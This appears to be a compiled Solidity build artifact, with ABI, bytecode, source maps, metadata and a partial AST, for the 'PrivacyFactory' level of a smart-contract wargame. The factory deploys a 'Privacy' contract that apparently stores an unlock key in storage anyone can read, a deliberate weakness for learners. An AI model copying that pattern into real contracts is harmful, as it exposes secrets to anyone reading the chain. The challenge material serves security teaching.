+{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107af8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610459565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461047b565b610257565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610459565b6102c5565b61011461035a565b61011d5f6103b3565b565b5f61012861041a565b604080513260601b6bffffffffffffffffffffffff191660208083018290527f3000000000000000000000000000000000000000000000000000000000000000603480850191909152845160158186038101825260359586018752815191840191909120875285518084018590527f3100000000000000000000000000000000000000000000000000000000000000818401528651808203830181529086018752805190840120878401528551808401949094527f32000000000000000000000000000000000000000000000000000000000000009184019190915284518084039091018152919092018352805191012082820152515f90829061022b90610438565b61023591906104b2565b604051809103905ff08015801561024e573d5f803e3d5ffd5b50949350505050565b5f80839050806001600160a01b031663cf3090126040518163ffffffff1660e01b8152600401602060405180830381865afa158015610298573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102bc91906104e2565b15949350505050565b6102cd61035a565b6001600160a01b03811661034e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610357816103b3565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610345565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60405180606001604052806003906020820280368337509192915050565b6102788061050283390190565b6001600160a01b0381168114610357575f80fd5b5f60208284031215610469575f80fd5b813561047481610445565b9392505050565b5f806040838503121561048c575f80fd5b823561049781610445565b915060208301356104a781610445565b809150509250929050565b6060810181835f5b60038110156104d95781518352602092830192909101906001016104ba565b50505092915050565b5f602082840312156104f2575f80fd5b81518015158114610474575f80fdfe60806040525f805460ff1916600190811790915542908190556002805461ffff909216620100000263ffffffff199092169190911761ff0a179055348015610045575f80fd5b50604051610278380380610278833981016040819052610064916100c9565b61007060038281610077565b505061014e565b82600381019282156100a5579160200282015b828111156100a557825182559160200191906001019061008a565b506100b19291506100b5565b5090565b5b808211156100b1575f81556001016100b6565b5f606082840312156100d9575f80fd5b82601f8301126100e7575f80fd5b604051606081016001600160401b038111828210171561011557634e487b7160e01b5f52604160045260245ffd5b604052806060840185811115610129575f80fd5b845b8181101561014357805183526020928301920161012b565b509195945050505050565b61011d8061015b5f395ff3fe6080604052348015600e575f80fd5b5060043610603a575f3560e01c8063b3cea21714603e578063cf309012146059578063e1afb08c146073575b5f80fd5b604660015481565b6040519081526020015b60405180910390f35b5f5460649060ff1681565b60405190151581526020016050565b6082607e36600460b2565b6084565b005b6005546fffffffffffffffffffffffffffffffff1982811691161460a6575f80fd5b505f805460ff19169055565b5f6020828403121560c1575f80fd5b81356fffffffffffffffffffffffffffffffff198116811460e0575f80fd5b939250505056fea264697066735822122005dc573695018ff580f1507a5cdd3821a9d0483d25519b017b200ef6783342e164736f6c63430008180033a26469706673582212201654f9a245419f6c19e7b2c03c962cf3894eac47a4474813bcbf0ecb49eb92c264736f6c63430008180033","sourceMap":"110:625:100:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;110:625:100;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;110:625:100:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610459565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461047b565b610257565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610459565b6102c5565b61011461035a565b61011d5f6103b3565b565b5f61012861041a565b604080513260601b6bffffffffffffffffffffffff191660208083018290527f3000000000000000000000000000000000000000000000000000000000000000603480850191909152845160158186038101825260359586018752815191840191909120875285518084018590527f3100000000000000000000000000000000000000000000000000000000000000818401528651808203830181529086018752805190840120878401528551808401949094527f32000000000000000000000000000000000000000000000000000000000000009184019190915284518084039091018152919092018352805191012082820152515f90829061022b90610438565b61023591906104b2565b604051809103905ff08015801561024e573d5f803e3d5ffd5b50949350505050565b5f80839050806001600160a01b031663cf3090126040518163ffffffff1660e01b8152600401602060405180830381865afa158015610298573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102bc91906104e2565b15949350505050565b6102cd61035a565b6001600160a01b03811661034e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610357816103b3565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610345565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60405180606001604052806003906020820280368337509192915050565b6102788061050283390190565b6001600160a01b0381168114610357575f80fd5b5f60208284031215610469575f80fd5b813561047481610445565b9392505050565b5f806040838503121561048c575f80fd5b823561049781610445565b915060208301356104a781610445565b809150509250929050565b6060810181835f5b60038110156104d95781518352602092830192909101906001016104ba565b50505092915050565b5f602082840312156104f2575f80fd5b81518015158114610474575f80fdfe60806040525f805460ff1916600190811790915542908190556002805461ffff909216620100000263ffffffff199092169190911761ff0a179055348015610045575f80fd5b50604051610278380380610278833981016040819052610064916100c9565b61007060038281610077565b505061014e565b82600381019282156100a5579160200282015b828111156100a557825182559160200191906001019061008a565b506100b19291506100b5565b5090565b5b808211156100b1575f81556001016100b6565b5f606082840312156100d9575f80fd5b82601f8301126100e7575f80fd5b604051606081016001600160401b038111828210171561011557634e487b7160e01b5f52604160045260245ffd5b604052806060840185811115610129575f80fd5b845b8181101561014357805183526020928301920161012b565b509195945050505050565b61011d8061015b5f395ff3fe6080604052348015600e575f80fd5b5060043610603a575f3560e01c8063b3cea21714603e578063cf309012146059578063e1afb08c146073575b5f80fd5b604660015481565b6040519081526020015b60405180910390f35b5f5460649060ff1681565b60405190151581526020016050565b6082607e36600460b2565b6084565b005b6005546fffffffffffffffffffffffffffffffff1982811691161460a6575f80fd5b505f805460ff19169055565b5f6020828403121560c1575f80fd5b81356fffffffffffffffffffffffffffffffff198116811460e0575f80fd5b939250505056fea264697066735822122005dc573695018ff580f1507a5cdd3821a9d0483d25519b017b200ef6783342e164736f6c63430008180033a26469706673582212201654f9a245419f6c19e7b2c03c962cf3894eac47a4474813bcbf0ecb49eb92c264736f6c63430008180033","sourceMap":"110:625:100:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;149:383:100;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;149:383:100;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;538:195:100;;;;;;;;;;-1:-1:-1;538:195:100;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;538:195:100;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;149:383:100:-;215:7;234:22;;:::i;:::-;286:32;;;303:9;1499:2:155;1495:15;-1:-1:-1;;1491:53:155;286:32:100;;;;1479:66:155;;;1575:3;1561:12;;;;1554:25;;;;286:32:100;;;;;;;;;;1595:12:155;;;;286:32:100;;276:43;;;;;;;;;266:53;;349:32;;;;;2037:66:155;;;2133:3;2119:12;;;2112:25;349:32:100;;;;;;;;;2153:12:155;;;349:32:100;;339:43;;;;;;329:7;;;:53;412:32;;;;;2406:66:155;;;;2502:3;2488:12;;;2481:25;;;;412:32:100;;;;;;;;;;2522:12:155;;;;412:32:100;;402:43;;;;;392:7;;;:53;474:17;-1:-1:-1;;266:53:100;;474:17;;;:::i;:::-;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;455:36:100;149:383;-1:-1:-1;;;;149:383:100:o;538:195::-;630:4;646:16;673:9;646:37;;700:8;-1:-1:-1;;;;;700:15:100;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:26;;538:195;-1:-1:-1;;;;538:195:100:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;3528:2:155;2161:73:23::1;::::0;::::1;3510:21:155::0;3567:2;3547:18;;;3540:30;3606:34;3586:18;;;3579:62;3677:8;3657:18;;;3650:36;3703:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;3935:2:155;1414:68:23;;;3917:21:155;;;3954:18;;;3947:30;4013:34;3993:18;;;3986:62;4065:18;;1414:68:23;3733:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;:::o;:::-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;2545:494::-;2725:2;2710:18;;2714:9;2805:6;2683:4;2839:194;2853:4;2850:1;2847:11;2839:194;;;2912:13;;2900:26;;2949:4;2973:12;;;;3008:15;;;;2873:1;2866:9;2839:194;;;2843:3;;;2545:494;;;;:::o;3044:277::-;3111:6;3164:2;3152:9;3143:7;3139:23;3135:32;3132:52;;;3180:1;3177;3170:12;3132:52;3212:9;3206:16;3265:5;3258:13;3251:21;3244:5;3241:32;3231:60;;3287:1;3284;3277:12","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/PrivacyFactory.sol\":\"PrivacyFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Privacy.sol\":{\"keccak256\":\"0x141eeed3421b598c1dd063bab07e77a5ea5b5f1b2f701683562344e3f34ee961\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://19fabfc206db8cfd3a00f9aa8e53cd68671e20229912567eccb727112e84fc05\",\"dweb:/ipfs/QmbHaXwFcGetZhf1QxJrh8VXqTonrWFn8VQDuwa58gLSZd\"]},\"src/levels/PrivacyFactory.sol\":{\"keccak256\":\"0xe37d331cca13d6104b572d8f708eef20fe028e030cabac2ba20f5f945fd6875c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://be57290b355c9dbbf8f6f97e2578fa1344fa255064518f58c5a2ec04501e48b0\",\"dweb:/ipfs/QmdxWD1KYjjGAXxKZPDMDtEFwgtXncQa7A2sx2u45CVroR\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/PrivacyFactory.sol":"PrivacyFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Privacy.sol":{"keccak256":"0x141eeed3421b598c1dd063bab07e77a5ea5b5f1b2f701683562344e3f34ee961","urls":["bzz-raw://19fabfc206db8cfd3a00f9aa8e53cd68671e20229912567eccb727112e84fc05","dweb:/ipfs/QmbHaXwFcGetZhf1QxJrh8VXqTonrWFn8VQDuwa58gLSZd"],"license":"MIT"},"src/levels/PrivacyFactory.sol":{"keccak256":"0xe37d331cca13d6104b572d8f708eef20fe028e030cabac2ba20f5f945fd6875c","urls":["bzz-raw://be57290b355c9dbbf8f6f97e2578fa1344fa255064518f58c5a2ec04501e48b0","dweb:/ipfs/QmdxWD1KYjjGAXxKZPDMDtEFwgtXncQa7A2sx2u45CVroR"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/PrivacyFactory.sol","id":54288,"exportedSymbols":{"Context":[48281],"Level":[55508],"Ownable":[46700],"Privacy":[54187],"PrivacyFactory":[54287]},"nodeType":"SourceUnit","src":"33:703:100","nodes":[{"id":54189,"nodeType":"PragmaDirective","src":"33:23:100","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":54190,"nodeType":"ImportDirective","src":"58:26:100","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":54288,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":54191,"nodeType":"ImportDirective","src":"85:23:100","nodes":[],"absolutePath":"src/levels/Privacy.sol","file":"./Privacy.sol","nameLocation":"-1:-1:-1","scope":54288,"sourceUnit":54188,"symbolAliases":[],"unitAlias":""},{"id":54287,"nodeType":"ContractDefinition","src":"110:625:100","nodes":[{"id":54262,"nodeType":"FunctionDefinition","src":"149:383:100","nodes":[],"body":{"id":54261,"nodeType":"Block","src":"224:308:100","nodes":[],"statements":[{"assignments":[54206],"declarations":[{"constant":false,"id":54206,"mutability":"mutable","name":"data","nameLocation":"252:4:100","nodeType":"VariableDeclaration","scope":54261,"src":"234:22:100","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_memory_ptr","typeString":"bytes32[3]"},"typeName":{"baseType":{"id":54204,"name":"bytes32","nodeType":"ElementaryTypeName","src":"234:7:100","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":54205,"length":{"hexValue":"33","id":54203,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"242:1:100","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"},"nodeType":"ArrayTypeName","src":"234:10:100","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_storage_ptr","typeString":"bytes32[3]"}},"visibility":"internal"}],"id":54207,"nodeType":"VariableDeclarationStatement","src":"234:22:100"},{"expression":{"id":54219,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54208,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54206,"src":"266:4:100","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_memory_ptr","typeString":"bytes32[3] memory"}},"id":54210,"indexExpression":{"hexValue":"30","id":54209,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"271:1:100","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"266:7:100","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"expression":{"id":54214,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"303:2:100","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":54215,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"306:6:100","memberName":"origin","nodeType":"MemberAccess","src":"303:9:100","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"30","id":54216,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"314:3:100","typeDescriptions":{"typeIdentifier":"t_stringliteral_044852b2a670ade5407e78fb2863c51de9fcb96542a07186fe3aeda6bb8a116d","typeString":"literal_string \"0\""},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_stringliteral_044852b2a670ade5407e78fb2863c51de9fcb96542a07186fe3aeda6bb8a116d","typeString":"literal_string \"0\""}],"expression":{"id":54212,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"286:3:100","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":54213,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"290:12:100","memberName":"encodePacked","nodeType":"MemberAccess","src":"286:16:100","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":54217,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"286:32:100","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":54211,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"276:9:100","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":54218,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"276:43:100","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"266:53:100","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":54220,"nodeType":"ExpressionStatement","src":"266:53:100"},{"expression":{"id":54232,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54221,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54206,"src":"329:4:100","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_memory_ptr","typeString":"bytes32[3] memory"}},"id":54223,"indexExpression":{"hexValue":"31","id":54222,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"334:1:100","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"329:7:100","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"expression":{"id":54227,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"366:2:100","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":54228,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"369:6:100","memberName":"origin","nodeType":"MemberAccess","src":"366:9:100","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"31","id":54229,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"377:3:100","typeDescriptions":{"typeIdentifier":"t_stringliteral_c89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6","typeString":"literal_string \"1\""},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_stringliteral_c89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6","typeString":"literal_string 